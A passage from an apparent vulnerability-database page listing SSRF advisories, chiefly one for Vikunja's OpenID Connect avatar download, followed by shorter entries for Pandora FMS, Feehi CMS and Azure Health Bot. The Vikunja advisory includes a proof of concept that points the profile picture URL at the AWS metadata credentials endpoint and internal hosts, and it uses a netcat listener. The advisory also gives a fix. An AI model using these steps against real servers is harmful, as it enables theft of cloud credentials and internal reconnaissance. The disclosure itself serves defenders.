    log.Errorf("Error syncing avatar for user %s: %v", u.Username, err)
}

Vulnerable download (pkg/utils/avatar.go:94-115):

func DownloadImage(url string) ([]byte, error) {
    ctx, cancel := context.WithTimeout(context.Background(), 3*time.Second)
    defer cancel()

    req, err := http.NewRequestWithContext(ctx, http.MethodGet, url, nil)
    if err != nil {
        return nil, fmt.Errorf("failed to create HTTP request: %w", err)
    }

    resp, err := (&http.Client{}).Do(req)  // No SSRF protection
    // ...
    return io.ReadAll(resp.Body)  // No size limit
}

In contrast, the webhook system correctly applies SSRF protection (pkg/models/webhooks.go:306-310):

if !config.WebhooksAllowNonRoutableIPs.GetBool() {
    guardian := ssrf.New(ssrf.WithAnyPort())
    transport.DialContext = (&net.Dialer{
        Control: guardian.Safe,
    }).DialContext
}

The avatar download path has none of this protection. There is no URL scheme validation, no IP address filtering, and no response body size limit.

PoC

Prerequisites: A Vikunja instance with OpenID Connect configured (e.g., Keycloak, Authentik). Attacker has an account on the OIDC provider.

Step 1: Set up a listener to observe incoming requests:

# On attacker-controlled server or internal service
nc -lvp 8888

Step 2: In the OIDC provider (e.g., Keycloak admin), update the attacker's user profile picture URL to an internal address:

http://169.254.169.254/latest/meta-data/iam/security-credentials/

Or to probe internal services:

http://internal-service:8888/admin

Step 3: Log in to Vikunja via the OIDC provider. After the callback completes, the Vikunja server will make a GET request from its own network context to the URL set in the picture claim.

Step 4: Observe the request arriving at the internal endpoint or listener. The request originates from the Vikunja server's IP, bypassing any network-level access controls that allow Vikunja server traffic.

Cloud metadata example (AWS):

# Set picture URL to:
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Vikunja server makes GET to this URL from its own network context
# The response is read into memory (io.ReadAll) before image.Decode fails
# The HTTP request itself reaches the metadata service

Impact

  • Cloud metadata access: Attacker can reach cloud instance metadata services (AWS IMDSv1 at 169.254.169.254, GCP, Azure equivalents) from the Vikunja server's network position, potentially leaking IAM credentials, instance identity tokens, and configuration data.
  • Internal network reconnaissance: Port scanning and service discovery of internal hosts reachable from the Vikunja server by observing response timing and error messages.
  • Internal service interaction: Any internal service that acts on GET requests (cache purges, status endpoints, admin panels) can be triggered.
  • Memory pressure: The io.ReadAll call with no size limit means pointing the URL at a large resource could cause memory exhaustion on the Vikunja server, though the 3-second timeout partially mitigates this.
  • Repeated exploitation: The SSRF triggers on every OIDC login, allowing the attacker to iterate through different internal URLs by updating their OIDC profile between logins.

Recommended Fix

Apply the same SSRF protection used in webhooks to DownloadImage, and add a response body size limit:

// pkg/utils/avatar.go
import (
    "net"
    "code.dny.dev/ssrf"
)

func DownloadImage(url string) ([]byte, error) {
    ctx, cancel := context.WithTimeout(context.Background(), 3*time.Second)
    defer cancel()

    req, err := http.NewRequestWithContext(ctx, http.MethodGet, url, nil)
    if err != nil {
        return nil, fmt.Errorf("failed to create HTTP request: %w", err)
    }

    // SSRF protection: block requests to non-globally-routable IPs
    guardian := ssrf.New(ssrf.WithAnyPort())
    client := &http.Client{
        Transport: &http.Transport{
            DialContext: (&net.Dialer{
                Control: guardian.Safe,
            }).DialContext,
        },
    }

    resp, err := client.Do(req)
    if err != nil {
        return nil, fmt.Errorf("failed to download image: %w", err)
    }
    defer resp.Body.Close()

    if resp.StatusCode != http.StatusOK {
        return nil, fmt.Errorf("failed to download image, status code: %d", resp.StatusCode)
    }

    // Limit response body to 10MB to prevent memory exhaustion
    const maxAvatarSize = 10 * 1024 * 1024
    return io.ReadAll(io.LimitReader(resp.Body, maxAvatarSize))
}
Severity
6.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.2.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "code.vikunja.io/api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33679"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-25T21:17:56Z",
    "nvd_published_at": "2026-03-24T16:16:35Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe `DownloadImage` function in `pkg/utils/avatar.go` uses a bare `http.Client{}` with no SSRF protection when downloading user avatar images from the OpenID Connect `picture` claim URL. An attacker who controls their OIDC profile picture URL can force the Vikunja server to make HTTP GET requests to arbitrary internal or cloud metadata endpoints. This bypasses the SSRF protections that are correctly applied to the webhook system.\n\n## Details\n\nWhen a user authenticates via OpenID Connect, Vikunja extracts the `picture` claim from the ID token or UserInfo endpoint and passes it to `syncUserAvatarFromOpenID`, which calls `utils.DownloadImage` with the attacker-controlled URL:\n\n**Claim extraction** (`pkg/modules/auth/openid/openid.go:70-78`):\n```go\ntype claims struct {\n\tEmail              string                   `json:\"email\"`\n\tName               string                   `json:\"name\"`\n\tPreferredUsername   string                   `json:\"preferred_username\"`\n\tNickname           string                   `json:\"nickname\"`\n\tVikunjaGroups      []map[string]interface{} `json:\"vikunja_groups\"`\n\tPicture            string                   `json:\"picture\"`\n\t// ...\n}\n```\n\n**Avatar sync trigger** (`pkg/modules/auth/openid/openid.go:348-352`):\n```go\n// Try sync avatar if available\nerr = syncUserAvatarFromOpenID(s, u, cl.Picture)\nif err != nil {\n\tlog.Errorf(\"Error syncing avatar for user %s: %v\", u.Username, err)\n}\n```\n\n**Vulnerable download** (`pkg/utils/avatar.go:94-115`):\n```go\nfunc DownloadImage(url string) ([]byte, error) {\n\tctx, cancel := context.WithTimeout(context.Background(), 3*time.Second)\n\tdefer cancel()\n\n\treq, err := http.NewRequestWithContext(ctx, http.MethodGet, url, nil)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to create HTTP request: %w\", err)\n\t}\n\n\tresp, err := (\u0026http.Client{}).Do(req)  // No SSRF protection\n\t// ...\n\treturn io.ReadAll(resp.Body)  // No size limit\n}\n```\n\nIn contrast, the webhook system correctly applies SSRF protection (`pkg/models/webhooks.go:306-310`):\n```go\nif !config.WebhooksAllowNonRoutableIPs.GetBool() {\n\tguardian := ssrf.New(ssrf.WithAnyPort())\n\ttransport.DialContext = (\u0026net.Dialer{\n\t\tControl: guardian.Safe,\n\t}).DialContext\n}\n```\n\nThe avatar download path has none of this protection. There is no URL scheme validation, no IP address filtering, and no response body size limit.\n\n## PoC\n\n**Prerequisites:** A Vikunja instance with OpenID Connect configured (e.g., Keycloak, Authentik). Attacker has an account on the OIDC provider.\n\n**Step 1:** Set up a listener to observe incoming requests:\n```bash\n# On attacker-controlled server or internal service\nnc -lvp 8888\n```\n\n**Step 2:** In the OIDC provider (e.g., Keycloak admin), update the attacker\u0027s user profile picture URL to an internal address:\n```\nhttp://169.254.169.254/latest/meta-data/iam/security-credentials/\n```\nOr to probe internal services:\n```\nhttp://internal-service:8888/admin\n```\n\n**Step 3:** Log in to Vikunja via the OIDC provider. After the callback completes, the Vikunja server will make a GET request from its own network context to the URL set in the picture claim.\n\n**Step 4:** Observe the request arriving at the internal endpoint or listener. The request originates from the Vikunja server\u0027s IP, bypassing any network-level access controls that allow Vikunja server traffic.\n\n**Cloud metadata example (AWS):**\n```\n# Set picture URL to:\nhttp://169.254.169.254/latest/meta-data/iam/security-credentials/\n\n# Vikunja server makes GET to this URL from its own network context\n# The response is read into memory (io.ReadAll) before image.Decode fails\n# The HTTP request itself reaches the metadata service\n```\n\n## Impact\n\n- **Cloud metadata access:** Attacker can reach cloud instance metadata services (AWS IMDSv1 at `169.254.169.254`, GCP, Azure equivalents) from the Vikunja server\u0027s network position, potentially leaking IAM credentials, instance identity tokens, and configuration data.\n- **Internal network reconnaissance:** Port scanning and service discovery of internal hosts reachable from the Vikunja server by observing response timing and error messages.\n- **Internal service interaction:** Any internal service that acts on GET requests (cache purges, status endpoints, admin panels) can be triggered.\n- **Memory pressure:** The `io.ReadAll` call with no size limit means pointing the URL at a large resource could cause memory exhaustion on the Vikunja server, though the 3-second timeout partially mitigates this.\n- **Repeated exploitation:** The SSRF triggers on every OIDC login, allowing the attacker to iterate through different internal URLs by updating their OIDC profile between logins.\n\n## Recommended Fix\n\nApply the same SSRF protection used in webhooks to `DownloadImage`, and add a response body size limit:\n\n```go\n// pkg/utils/avatar.go\nimport (\n\t\"net\"\n\t\"code.dny.dev/ssrf\"\n)\n\nfunc DownloadImage(url string) ([]byte, error) {\n\tctx, cancel := context.WithTimeout(context.Background(), 3*time.Second)\n\tdefer cancel()\n\n\treq, err := http.NewRequestWithContext(ctx, http.MethodGet, url, nil)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to create HTTP request: %w\", err)\n\t}\n\n\t// SSRF protection: block requests to non-globally-routable IPs\n\tguardian := ssrf.New(ssrf.WithAnyPort())\n\tclient := \u0026http.Client{\n\t\tTransport: \u0026http.Transport{\n\t\t\tDialContext: (\u0026net.Dialer{\n\t\t\t\tControl: guardian.Safe,\n\t\t\t}).DialContext,\n\t\t},\n\t}\n\n\tresp, err := client.Do(req)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to download image: %w\", err)\n\t}\n\tdefer resp.Body.Close()\n\n\tif resp.StatusCode != http.StatusOK {\n\t\treturn nil, fmt.Errorf(\"failed to download image, status code: %d\", resp.StatusCode)\n\t}\n\n\t// Limit response body to 10MB to prevent memory exhaustion\n\tconst maxAvatarSize = 10 * 1024 * 1024\n\treturn io.ReadAll(io.LimitReader(resp.Body, maxAvatarSize))\n}\n```",
  "id": "GHSA-g9xj-752q-xh63",
  "modified": "2026-03-30T21:13:41Z",
  "published": "2026-03-25T21:17:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-g9xj-752q-xh63"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33679"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/commit/363aa6642352b08fc8bc6aaff2f3a550393af1cf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-vikunja/vikunja"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2026-4852"
    },
    {
      "type": "WEB",
      "url": "https://vikunja.io/changelog/vikunja-v2.2.2-was-released"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Vikjuna Bypasses Webhook SSRF Protections During OpenID Connect Avatar Download "
}

GHSA-GC28-V63C-CQ65

Vulnerability from github – Published: 2023-08-22 21:30 – Updated: 2024-04-04 07:08
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in API checker of Pandora FMS. Application does not have a check on the URL scheme used while retrieving API URL. Rather than validating the http/https scheme, the application allows other scheme such as file, which could allow a malicious user to fetch internal file content. This issue affects Pandora FMS v767 version and prior versions on all platforms.

Severity
5.2 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-24515"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-08-22T19:16:34Z",
    "severity": "MODERATE"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in API checker of Pandora FMS. Application does not have a check on the URL scheme used while retrieving API URL. Rather than validating the http/https scheme, the application allows other scheme such as file, which could allow a malicious user to fetch internal file content. This issue affects Pandora FMS v767 version and prior versions on all platforms.",
  "id": "GHSA-gc28-v63c-cq65",
  "modified": "2024-04-04T07:08:34Z",
  "published": "2023-08-22T21:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-24515"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/damodarnaik/9cc76c6b320510c34a0a668bd7439f7b"
    },
    {
      "type": "WEB",
      "url": "https://pandorafms.com/en/security/common-vulnerabilities-and-exposures"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GC45-J3M5-8QFQ

Vulnerability from github – Published: 2021-06-08 20:12 – Updated: 2021-05-28 21:56
VLAI
Summary
Server-Side Request Forgery in Feehi CMS
Details

Feehi CMS 2.1.1 is affected by a Server-side request forgery (SSRF) vulnerability. When the user modifies the HTTP Referer header to any url, the server can make a request to it.

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Show details on source website
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "feehi/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-30108"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-28T21:56:18Z",
    "nvd_published_at": "2021-05-24T20:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Feehi CMS 2.1.1 is affected by a Server-side request forgery (SSRF) vulnerability. When the user modifies the HTTP Referer header to any url, the server can make a request to it.",
  "id": "GHSA-gc45-j3m5-8qfq",
  "modified": "2021-05-28T21:56:18Z",
  "published": "2021-06-08T20:12:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-30108"
    },
    {
      "type": "WEB",
      "url": "https://github.com/liufee/cms/issues/57"
    },
    {
      "type": "WEB",
      "url": "https://github.com/liufee/cms/issues/57#issuecomment-1230070460"
    },
    {
      "type": "WEB",
      "url": "https://github.com/liufee/cms/commit/d45cb9cb26d6f5ef491fa2c7d87ac7f26091bd7c"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Server-Side Request Forgery in Feehi CMS"
}

GHSA-GC9F-9M4J-GG9J

Vulnerability from github – Published: 2025-04-01 03:31 – Updated: 2025-04-01 03:31
VLAI
Details

An authenticated attacker can exploit an Server-Side Request Forgery (SSRF) vulnerability in Microsoft Azure Health Bot to elevate privileges over a network.

Severity
8.3 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-21384"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693",
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-01T01:15:17Z",
    "severity": "HIGH"
  },
  "details": "An authenticated attacker can exploit an Server-Side Request Forgery (SSRF) vulnerability in Microsoft Azure Health Bot to elevate privileges over a network.",
  "id": "GHSA-gc9f-9m4j-gg9j",
  "modified": "2025-04-01T03:31:32Z",
  "published": "2025-04-01T03:31:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-21384"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-21384"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

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